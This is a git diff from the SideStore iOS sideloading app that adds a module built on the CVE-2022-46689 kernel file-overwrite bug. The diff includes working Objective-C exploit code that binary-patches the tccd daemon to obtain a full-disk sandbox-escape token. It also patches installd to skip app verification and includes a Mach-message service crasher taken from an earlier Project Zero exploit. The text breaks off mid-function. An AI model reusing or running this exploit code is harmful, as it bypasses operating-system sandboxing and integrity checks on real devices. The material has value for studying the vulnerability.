"This is a test error") + #endif + + UserDefaults.shared.lastInstalldPatchBootTime = bootTime() + UserDefaults.shared.hasPatchedInstalldEver = true + } + + static func alertIfNotPatched() { + guard UserDefaults.shared.hasPatchedInstalldEver && !installdHasBeenPatched && isSupported else { return } + + UIApplication.alert( + title: L10n.Remove3AppLimitView.title, + message: L10n.Remove3AppLimitView.NotAppliedAlert.message, + leftButton: (text: L10n.Remove3AppLimitView.NotAppliedAlert.apply, action: { _ in + Task { + do { + try await MDC.patch3AppLimit() + + await UIApplication.alert( + title: L10n.Remove3AppLimitView.success + ) + } catch { + await UIApplication.alert( + title: L10n.AsyncFallibleButton.error, + message: error.message() + ) + } + } + }), + rightButton: (text: L10n.Remove3AppLimitView.NotAppliedAlert.continueWithout, action: nil) + ) + } + #endif + + private static let ios15 = OperatingSystemVersion(majorVersion: 15, minorVersion: 0, patchVersion: 0) // supported + private static let ios15_7_2 = OperatingSystemVersion(majorVersion: 15, minorVersion: 7, patchVersion: 2) // fixed + + private static let ios16 = OperatingSystemVersion(majorVersion: 16, minorVersion: 0, patchVersion: 0) // supported + private static let ios16_2 = OperatingSystemVersion(majorVersion: 16, minorVersion: 2, patchVersion: 0) // fixed + + static var isSupported: Bool { + #if targetEnvironment(simulator) + true + #else + (ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15_7_2)) || + (ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16_2)) + #endif + } +} + +#if MDC +// enum WhitelistPatchResult { +// case success, failure +// } +// +// let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg==" +// +// func patchWhiteList() { +// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!) +// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!) +// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!) +// } +// +// func overwriteFileData(originPath: String, replacementData: Data) -> Bool { +// #if false +// let documentDirectory = FileManager.default.urls( +// for: .documentDirectory, +// in: .userDomainMask +// )[0].path +// +// let pathToRealTarget = originPath +// let originPath = documentDirectory + originPath +// let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget)) +// try! origData.write(to: URL(fileURLWithPath: originPath)) +// #endif +// +// // open and map original font +// let fd = open(originPath, O_RDONLY | O_CLOEXEC) +// if fd == -1 { +// print("Could not open target file") +// return false +// } +// defer { close(fd) } +// // check size of font +// let originalFileSize = lseek(fd, 0, SEEK_END) +// guard originalFileSize >= replacementData.count else { +// print("Original file: \(originalFileSize)") +// print("Replacement file: \(replacementData.count)") +// print("File too big!") +// return false +// } +// lseek(fd, 0, SEEK_SET) +// +// // Map the font we want to overwrite so we can mlock it +// let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0) +// if fileMap == MAP_FAILED { +// print("Failed to map") +// return false +// } +// // mlock so the file gets cached in memory +// guard mlock(fileMap, replacementData.count) == 0 else { +// print("Failed to mlock") +// return true +// } +// +// // for every 16k chunk, rewrite +// print(Date()) +// for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) { +// print(String(format: "%lx", chunkOff)) +// let dataChunk = replacementData[chunkOff.. String? { +// return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?") +// } +#endif diff --git a/AltStore/MDC/MDC+AltStoreCore.swift b/AltStore/MDC/MDC+AltStoreCore.swift new file mode 100644 index 000000000..845d4abc8 --- /dev/null +++ b/AltStore/MDC/MDC+AltStoreCore.swift @@ -0,0 +1,33 @@ +// +// MDC+AltStoreCore.swift +// AltStoreCore +// +// Created by naturecodevoid on 5/31/23. +// Copyright © 2023 SideStore. All rights reserved. +// + +import Foundation + +// Parts of MDC we need in AltStoreCore +// TODO: destroy AltStoreCore + +public class MDC { + #if MDC + public static var installdHasBeenPatched: Bool { + guard let lastInstalldPatchBootTime = UserDefaults.shared.lastInstalldPatchBootTime else { return false } + return lastInstalldPatchBootTime == bootTime() + } + #endif +} + +#if MDC +public func bootTime() -> Date? { + var tv = timeval() + var tvSize = MemoryLayout.size + let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0) + guard err == 0, tvSize == MemoryLayout.size else { + return nil + } + return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0) +} +#endif diff --git a/AltStore/MDC/Remove3AppLimitView.swift b/AltStore/MDC/Remove3AppLimitView.swift new file mode 100644 index 000000000..117651979 --- /dev/null +++ b/AltStore/MDC/Remove3AppLimitView.swift @@ -0,0 +1,99 @@ +// +// Remove3AppLimitView.swift +// SideStore +// +// Created by naturecodevoid on 5/29/23. +// Copyright © 2023 SideStore. All rights reserved. +// + +#if MDC +import SwiftUI +import AltStoreCore + +fileprivate extension View { + func common() -> some View { + self + .padding() + .transition(.opacity.animation(.linear)) + } +} + +struct Remove3AppLimitView: View { + @ObservedObject private var iO = Inject.observer + + @State var runningPatch = false + @State private var showErrorAlert = false + @State private var errorAlertMessage = "" + @State private var showSuccessAlert = false + + @ViewBuilder + private var notSupported: some View { + Text(L10n.Remove3AppLimitView.notSupported) + } + + @ViewBuilder + private var installdHasBeenPatched: some View { + Text(L10n.Remove3AppLimitView.alreadyPatched) + Text(L10n.Remove3AppLimitView.tenAppsInfo) + } + + @ViewBuilder + private var applyPatch: some View { + Text(L10n.Remove3AppLimitView.patchInfo) + Text(L10n.Remove3AppLimitView.tenAppsInfo) + } + + var body: some View { + VStack { + if !MDC.isSupported { + notSupported.common() + } else { + if MDC.installdHasBeenPatched { + installdHasBeenPatched.common() + } else { + applyPatch.common() + SwiftUI.Button(action: { + Task { + do { + guard !runningPatch else { return } + runningPatch = true + + try await MDC.patch3AppLimit() + + showSuccessAlert = true + } catch { + errorAlertMessage = error.message() + showErrorAlert = true + } + runningPatch = false + } + }) { Text(L10n.Remove3AppLimitView.applyPatch) } + .buttonStyle(FilledButtonStyle(isLoading: runningPatch, hideLabelOnLoading: false)) + .padding() + } + } + Spacer() + } + .alert(isPresented: $showErrorAlert) { + Alert( + title: Text(L10n.AsyncFallibleButton.error), + message: Text(errorAlertMessage) + ) + } + .alert(isPresented: $showSuccessAlert) { + Alert( + title: Text(L10n.Action.success), + message: Text(L10n.Remove3AppLimitView.success) + ) + } + .navigationTitle(L10n.Remove3AppLimitView.title) + .enableInjection() + } +} + +struct Remove3AppLimitView_Previews: PreviewProvider { + static var previews: some View { + Remove3AppLimitView() + } +} +#endif diff --git a/AltStore/MDC/grant_full_disk_access.h b/AltStore/MDC/grant_full_disk_access.h new file mode 100644 index 000000000..5496e39fe --- /dev/null +++ b/AltStore/MDC/grant_full_disk_access.h @@ -0,0 +1,8 @@ +#ifdef MDC +#pragma once +@import Foundation; + +/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox. +void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable)); +bool patch_installd(void); +#endif /* MDC */ diff --git a/AltStore/MDC/grant_full_disk_access.m b/AltStore/MDC/grant_full_disk_access.m new file mode 100644 index 000000000..f87a06dc8 --- /dev/null +++ b/AltStore/MDC/grant_full_disk_access.m @@ -0,0 +1,612 @@ +#ifdef MDC +@import Darwin; +@import Foundation; +@import MachO; + +#import +// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from +// WDBFontOverwrite +// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything) +// Please don't call this code on iOS 14 or below +// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot) +#import "grant_full_disk_access.h" +#import "helpers.h" +#import "vm_unaligned_copy_switch_race.h" + +typedef NSObject* xpc_object_t; +typedef xpc_object_t xpc_connection_t; +typedef void (^xpc_handler_t)(xpc_object_t object); +xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys, + xpc_object_t _Nullable const* values, size_t count); +xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq, + uint64_t flags); +void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler); +void xpc_connection_resume(xpc_connection_t connection); +void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, + dispatch_queue_t replyq, xpc_handler_t handler); +xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, + xpc_object_t message); +xpc_object_t xpc_bool_create(bool value); +xpc_object_t xpc_string_create(const char* string); +xpc_object_t xpc_null_create(void); +const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key); + +int64_t sandbox_extension_consume(const char* token); + +// MARK: - patchfind + +struct grant_full_disk_access_offsets { + uint64_t offset_addr_s_com_apple_tcc_; + uint64_t offset_padding_space_for_read_write_string; + uint64_t offset_addr_s_kTCCServiceMediaLibrary; + uint64_t offset_auth_got__sandbox_init; + uint64_t offset_just_return_0; + bool is_arm64e; +}; + +static bool patchfind_sections(void* executable_map, + struct segment_command_64** data_const_segment_out, + struct symtab_command** symtab_out, + struct dysymtab_command** dysymtab_out) { + struct mach_header_64* executable_header = executable_map; + struct load_command* load_command = executable_map + sizeof(struct mach_header_64); + for (int load_command_index = 0; load_command_index < executable_header->ncmds; + load_command_index++) { + switch (load_command->cmd) { + case LC_SEGMENT_64: { + struct segment_command_64* segment = (struct segment_command_64*)load_command; + if (strcmp(segment->segname, "__DATA_CONST") == 0) { + *data_const_segment_out = segment; + } + break; + } + case LC_SYMTAB: { + *symtab_out = (struct symtab_command*)load_command; + break; + } + case LC_DYSYMTAB: { + *dysymtab_out = (struct dysymtab_command*)load_command; + break; + } + } + load_command = ((void*)load_command) + load_command->cmdsize; + } + return true; +} + +static uint64_t patchfind_get_padding(struct segment_command_64* segment) { + struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64); + struct section_64* last_section = §ion_array[segment->nsects - 1]; + return last_section->offset + last_section->size; +} + +static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length, + const char* needle) { + void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); + if (!str_offset) { + return 0; + } + uint64_t str_file_offset = str_offset - executable_map; + for (int i = 0; i < executable_length; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + i); + if ((val & 0xfffffffful) == str_file_offset) { + return i; + } + } + return 0; +} + +static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) { + // TCCDSyncAccessAction::sequencer + // mov x0, #0 + // ret + static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6}; + void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); + if (!offset) { + return 0; + } + return offset - executable_map; +} + +static uint64_t patchfind_got(void* executable_map, size_t executable_length, + struct segment_command_64* data_const_segment, + struct symtab_command* symtab_command, + struct dysymtab_command* dysymtab_command, + const char* target_symbol_name) { + uint64_t target_symbol_index = 0; + for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) { + struct nlist_64* sym = + ((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index; + const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx; + if (strcmp(sym_name, target_symbol_name)) { + continue; + } + // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map)); + target_symbol_index = sym_index; + break; + } + + struct section_64* section_array = + ((void*)data_const_segment) + sizeof(struct segment_command_64); + struct section_64* first_section = §ion_array[0]; + if (!(strcmp(first_section->sectname, "__auth_got") == 0 || + strcmp(first_section->sectname, "__got") == 0)) { + return 0; + } + uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff; + + for (int i = 0; i < first_section->size; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i); + uint64_t indirect_table_entry = (val & 0xfffful); + if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) { + return first_section->offset + i; + } + } + return 0; +} + +static bool patchfind(void* executable_map, size_t executable_length, + struct grant_full_disk_access_offsets* offsets) { + struct segment_command_64* data_const_segment = nil; + struct symtab_command* symtab_command = nil; + struct dysymtab_command* dysymtab_command = nil; + if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, + &dysymtab_command)) { + printf("no sections\n"); + return false; + } + if ((offsets->offset_addr_s_com_apple_tcc_ = + patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) { + printf("no com.apple.tcc. string\n"); + return false; + } + if ((offsets->offset_padding_space_for_read_write_string = + patchfind_get_padding(data_const_segment)) == 0) { + printf("no padding\n"); + return false; + } + if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string( + executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) { + printf("no kTCCServiceMediaLibrary string\n"); + return false; + } + if ((offsets->offset_auth_got__sandbox_init = + patchfind_got(executable_map, executable_length, data_const_segment, symtab_command, + dysymtab_command, "_sandbox_init")) == 0) { + printf("no sandbox_init\n"); + return false; + } + if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) == + 0) { + printf("no just return 0\n"); + return false; + } + struct mach_header_64* executable_header = executable_map; + offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E; + + return true; +} + +// MARK: - tccd patching + +static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) { + // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can + // re-use it until next reboot. + // Returns the sandbox token if there is one, or nil if there isn't one. + xpc_connection_t connection = xpc_connection_create_mach_service( + "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0); + xpc_connection_set_event_handler(connection, ^(xpc_object_t object) { + NSLog(@"xpc event handler: %@", object); + }); + xpc_connection_resume(connection); + const char* keys[] = { + "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight", + "target_token", "background_session", + }; + xpc_object_t values[] = { + xpc_string_create("17087.1"), + xpc_string_create("TCCAccessRequest"), + xpc_string_create("com.apple.app-sandbox.read-write"), + xpc_null_create(), + xpc_bool_create(false), + xpc_null_create(), + xpc_bool_create(false), + }; + xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys)); +#if 0 + xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message); + NSLog(@"%@", response_message); + +#endif + xpc_connection_send_message_with_reply( + connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), + ^(xpc_object_t object) { + if (!object) { + NSLog(@"object is nil???"); + completion(nil); + return; + } + NSLog(@"response: %@", object); + if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) { + NSLog(@"xpc error?"); + completion(nil); + return; + } + NSLog(@"debug description: %@", [object debugDescription]); + const char* extension_string = xpc_dictionary_get_string(object, "extension"); + NSString* extension_nsstring = + extension_string ? [NSString stringWithUTF8String:extension_string] : nil; + completion(extension_nsstring); + }); +} + +static NSData* patchTCCD(void* executableMap, size_t executableLength) { + struct grant_full_disk_access_offsets offsets = {}; + if (!patchfind(executableMap, executableLength, &offsets)) { + return nil; + } + + NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; + // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr); + char* mutableBytes = data.mutableBytes; + { + // rewrite com.apple.tcc. into blank string + *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0; + } + { + // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write" + // we need to stick this somewhere; just put it in the padding between + // the end of __objc_arrayobj and the end of __DATA_CONST + strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string), + "com.apple.app-sandbox.read-write"); + struct dyld_chained_ptr_arm64e_rebase targetRebase = + *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + + offsets.offset_addr_s_kTCCServiceMediaLibrary); + targetRebase.target = offsets.offset_padding_space_for_read_write_string; + *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + + offsets.offset_addr_s_kTCCServiceMediaLibrary) = + targetRebase; + *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) = + strlen("com.apple.app-sandbox.read-write"); + } + if (offsets.is_arm64e) { + // make sandbox_init call return 0; + struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = { + .auth = 1, + .bind = 0, + .next = 1, + .key = 0, // IA + .addrDiv = 1, + .diversity = 0, + .target = offsets.offset_just_return_0, + }; + *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + + offsets.offset_auth_got__sandbox_init) = + targetRebase; + } else { + // make sandbox_init call return 0; + struct dyld_chained_ptr_64_rebase targetRebase = { + .bind = 0, + .next = 2, + .target = offsets.offset_just_return_0, + }; + *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) = + targetRebase; + } + return data; +} + +static bool overwrite_file(int fd, NSData* sourceData) { + for (int off = 0; off < sourceData.length; off += 0x4000) { + bool success = false; + for (int i = 0; i < 2; i++) { + if (unaligned_copy_switch_race( + fd, off, sourceData.bytes + off, + off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) { + success = true; + break; + } + } + if (!success) { + return false; + } + } + return true; +} + +static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token, + NSError* _Nullable error)) { + char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd"; + int fd = open(targetPath, O_RDONLY | O_CLOEXEC); + if (fd == -1) { + // iOS 15.3 and below + targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd"; + fd = open(targetPath, O_RDONLY | O_CLOEXEC); + } + off_t targetLength = lseek(fd, 0, SEEK_END); + lseek(fd, 0, SEEK_SET); + void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); + + NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; + NSData* sourceData = patchTCCD(targetMap, targetLength); + if (!sourceData) { + completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:5 + userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]); + return; + } + + if (!overwrite_file(fd, sourceData)) { + overwrite_file(fd, originalData); + munmap(targetMap, targetLength); + completion( + nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:1 + userInfo:@{ + NSLocalizedDescriptionKey : @"Can't overwrite file: your device may " + @"not be vulnerable to CVE-2022-46689." + }]); + return; + } + munmap(targetMap, targetLength); + + xpc_crasher("com.apple.tccd"); + sleep(1); + call_tccd(^(NSString* _Nullable extension_token) { + overwrite_file(fd, originalData); + xpc_crasher("com.apple.tccd"); + NSError* returnError = nil; + if (extension_token == nil) { + returnError = + [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:2 + userInfo:@{ + NSLocalizedDescriptionKey : @"tccd did not return an extension token." + }]; + } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) { + returnError = [NSError + errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:3 + userInfo:@{ + NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token " + @"instead of an app sandbox token." + }]; + extension_token = nil; + } + completion(extension_token, returnError); + }); +} + +void grant_full_disk_access(void (^completion)(NSError* _Nullable)) { + if (!NSClassFromString(@"NSPresentationIntent")) { + // class introduced in iOS 15.0. + // TODO(zhuowei): maybe check the actual OS version instead? + completion([NSError + errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:6 + userInfo:@{ + NSLocalizedDescriptionKey : + @"Not supported on iOS 14 and below: on iOS 14 the system partition is not " + @"reverted after reboot, so running this may permanently corrupt tccd." + }]); + return; + } + NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory + inDomains:NSUserDomainMask][0]; + NSURL* sourceURL = + [documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"]; + NSError* error = nil; + NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL + encoding:NSUTF8StringEncoding + error:&error]; + if (cachedToken) { + int64_t handle = sandbox_extension_consume(cachedToken.UTF8String); + if (handle > 0) { + // cached version worked + completion(nil); + return; + } + } + grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) { + if (error) { + completion(error); + return; + } + int64_t handle = sandbox_extension_consume(extension_token.UTF8String); + if (handle <= 0) { + completion([NSError + errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:4 + userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]); + return; + } + [extension_token writeToURL:sourceURL + atomically:true + encoding:NSUTF8StringEncoding + error:&error]; + completion(nil); + }); +} + +/// MARK - installd patch + +struct installd_remove_app_limit_offsets { + uint64_t offset_objc_method_list_t_MIInstallableBundle; + uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods; + uint64_t offset_data_const_end_padding; + // MIUninstallRecord::supportsSecureCoding + uint64_t offset_return_true; +}; + +struct installd_remove_app_limit_offsets gAppLimitOffsets = { + .offset_objc_method_list_t_MIInstallableBundle = 0x519b0, + .offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8, + .offset_data_const_end_padding = 0x79c38, + .offset_return_true = 0x19860, +}; + +static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map, + size_t executable_length, + const char* needle) { + void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); + if (!str_offset) { + return 0; + } + uint64_t str_file_offset = str_offset - executable_map; + for (int i = 0; i < executable_length - 8; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + i); + if ((val & 0xfffffffful) != str_file_offset) { + continue; + } + // baseMethods + if (*(uint64_t*)(executable_map + i + 8) != 0) { + return i + 8; + } + } + return 0; +} + +static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) { + // mov w0, #1 + // ret + static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6}; + void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); + if (!offset) { + return 0; + } + return offset - executable_map; +} + +static bool patchfind_installd(void* executable_map, size_t executable_length, + struct installd_remove_app_limit_offsets* offsets) { + struct segment_command_64* data_const_segment = nil; + struct symtab_command* symtab_command = nil; + struct dysymtab_command* dysymtab_command = nil; + if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, + &dysymtab_command)) { + printf("no sections\n"); + return false; + } + if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) { + printf("no padding\n"); + return false; + } + if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods = + patchfind_find_class_rw_t_baseMethods(executable_map, executable_length, + "MIInstallableBundle")) == 0) { + printf("no MIInstallableBundle class_rw_t\n"); + return false; + } + offsets->offset_objc_method_list_t_MIInstallableBundle = + (*(uint64_t*)(executable_map + + offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) & + 0xffffffull; + + if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) == + 0) { + printf("no return true\n"); + return false; + } + return true; +} + +struct objc_method { + int32_t name; + int32_t types; + int32_t imp; +}; + +struct objc_method_list { + uint32_t entsizeAndFlags; + uint32_t count; + struct objc_method methods[]; +}; + +static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset, + uint64_t new_offset, uint64_t* out_copied_length, + void (^callback)(const char* sel, + uint64_t* inout_function_pointer)) { + struct objc_method_list* original_list = mutableBytes + old_offset; + struct objc_method_list* new_list = mutableBytes + new_offset; + *out_copied_length = + sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method); + new_list->entsizeAndFlags = original_list->entsizeAndFlags; + new_list->count = original_list->count; + for (int method_index = 0; method_index < original_list->count; method_index++) { + struct objc_method* method = &original_list->methods[method_index]; + // Relative pointers + uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name; + uint64_t types_file_offset = + ((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types; + uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp; + const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull); + callback(sel, &imp_file_offset); + + struct objc_method* new_method = &new_list->methods[method_index]; + new_method->name = (int32_t)((int64_t)name_file_offset - + (int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes)); + new_method->types = (int32_t)((int64_t)types_file_offset - + (int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes)); + new_method->imp = (int32_t)((int64_t)imp_file_offset - + (int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes)); + } +}; + +static NSData* make_patch_installd(void* executableMap, size_t executableLength) { + struct installd_remove_app_limit_offsets offsets = {}; + if (!patchfind_installd(executableMap, executableLength, &offsets)) { + return nil; + } + + NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; + char* mutableBytes = data.mutableBytes; + uint64_t current_empty_space = offsets.offset_data_const_end_padding; + uint64_t copied_size = 0; + uint64_t new_method_list_offset = current_empty_space; + patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle, + current_empty_space, &copied_size, + ^(const char* sel, uint64_t* inout_address) { + if (strcmp(sel, "performVerificationWithError:") != 0) { + return; + } + *inout_address = offsets.offset_return_true; + }); + current_empty_space += copied_size; + ((struct + dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + + offsets + .offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) + ->target = new_method_list_offset; + return data; +} + +bool patch_installd() { + const char* targetPath = "/usr/libexec/installd"; + int fd = open(targetPath, O_RDONLY | O_CLOEXEC); + off_t targetLength = lseek(fd, 0, SEEK_END); + lseek(fd, 0, SEEK_SET); + void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); + + NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; + NSData* sourceData = make_patch_installd(targetMap, targetLength); + if (!sourceData) { + NSLog(@"can't patchfind"); + return false; + } + + if (!overwrite_file(fd, sourceData)) { + overwrite_file(fd, originalData); + munmap(targetMap, targetLength); + NSLog(@"can't overwrite"); + return false; + } + munmap(targetMap, targetLength); + xpc_crasher("com.apple.mobile.installd"); + sleep(1); + + // TODO(zhuowei): for now we revert it once installd starts + // so the change will only last until when this installd exits + overwrite_file(fd, originalData); + return true; +} +#endif /* MDC */ diff --git a/AltStore/MDC/helpers.h b/AltStore/MDC/helpers.h new file mode 100644 index 000000000..72ef20da2 --- /dev/null +++ b/AltStore/MDC/helpers.h @@ -0,0 +1,14 @@ +#ifdef MDC +#ifndef helpers_h +#define helpers_h + +char* get_temp_file_path(void); +void test_nsexpressions(void); +char* set_up_tmp_file(void); + +void xpc_crasher(char* service_name); + +#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL)) + +#endif /* helpers_h */ +#endif /* MDC */ diff --git a/AltStore/MDC/helpers.m b/AltStore/MDC/helpers.m new file mode 100644 index 000000000..aec2562eb --- /dev/null +++ b/AltStore/MDC/helpers.m @@ -0,0 +1,132 @@ +#ifdef MDC +#import +#include +#include +#include + +char* get_temp_file_path(void) { + return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]); +} + +// create a read-only test file we can target: +char* set_up_tmp_file(void) { + char* path = get_temp_file_path(); + printf("path: %s\n", path); + + FILE* f = fopen(path, "w"); + if (!f) { + printf("opening the tmp file failed...\n"); + return NULL; + } + char* buf = malloc(PAGE_SIZE*10); + memset(buf, 'A', PAGE_SIZE*10); + fwrite(buf, PAGE_SIZE*10, 1, f); + //fclose(f); + return path; +} + +kern_return_t +bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp); + +struct xpc_w00t { + mach_msg_header_t hdr; + mach_msg_body_t body; + mach_msg_port_descriptor_t client_port; + mach_msg_port_descriptor_t reply_port; +}; + +mach_port_t get_send_once(mach_port_t recv) { + mach_port_t so = MACH_PORT_NULL; + mach_msg_type_name_t type = 0; + kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type); + if (err != KERN_SUCCESS) { + printf("port right extraction failed: %s\n", mach_error_string(err)); + return MACH_PORT_NULL; + } + printf("made so: 0x%x from recv: 0x%x\n", so, recv); + return so; +} + +// copy-pasted from an exploit I wrote in 2019... +// still works... + +// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html ) + +void xpc_crasher(char* service_name) { + mach_port_t client_port = MACH_PORT_NULL; + mach_port_t reply_port = MACH_PORT_NULL; + + mach_port_t service_port = MACH_PORT_NULL; + + kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port); + if(err != KERN_SUCCESS){ + printf("unable to look up %s\n", service_name); + return; + } + + if (service_port == MACH_PORT_NULL) { + printf("bad service port\n"); + return; + } + + // allocate the client and reply port: + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port); + if (err != KERN_SUCCESS) { 